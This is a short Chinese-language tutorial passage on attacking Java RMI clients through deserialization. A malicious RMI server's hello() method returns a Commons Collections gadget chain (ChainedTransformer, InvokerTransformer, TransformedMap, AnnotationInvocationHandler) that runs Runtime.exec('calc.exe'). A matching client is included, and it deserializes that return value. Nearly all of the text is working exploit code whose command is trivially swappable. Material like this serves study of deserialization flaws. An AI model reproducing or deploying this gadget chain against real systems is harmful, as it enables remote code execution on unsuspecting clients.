同样的,非

demo1

也是很简单的思路, Server远程方法返回值里面有一个Object类型参数.
实现如下:

  1. public class userImpl extends UnicastRemoteObject implements userInterface {
  2. protected userImpl() throws RemoteException {
  3. super();
  4. System.out.println("userImpl Constructor called!");
  5. }
  6. @Override
  7. public Object hello() throws Exception {
  8. return getpayload();
  9. }
  10. public Object getpayload() throws Exception{
  11. Transformer[] transformers = new Transformer[]{
  12. new ConstantTransformer(Runtime.class),
  13. new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
  14. new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
  15. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
  16. };
  17. Transformer transformerChain = new ChainedTransformer(transformers);
  18. Map map = new HashMap();
  19. map.put("value", "sijidou");
  20. Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
  21. Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  22. Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
  23. ctor.setAccessible(true);
  24. Object instance = ctor.newInstance(Retention.class, transformedMap);
  25. return instance;
  26. }
  27. }

Client:

  1. public class client {
  2. public static void main(String[] args) {
  3. try {
  4. Registry registry = LocateRegistry.getRegistry(1099);
  5. userInterface user = (userInterface) registry.lookup("user");
  6. System.out.println(user.hello());
  7. } catch (Exception e) {
  8. e.printStackTrace();
  9. }
  10. }
  11. }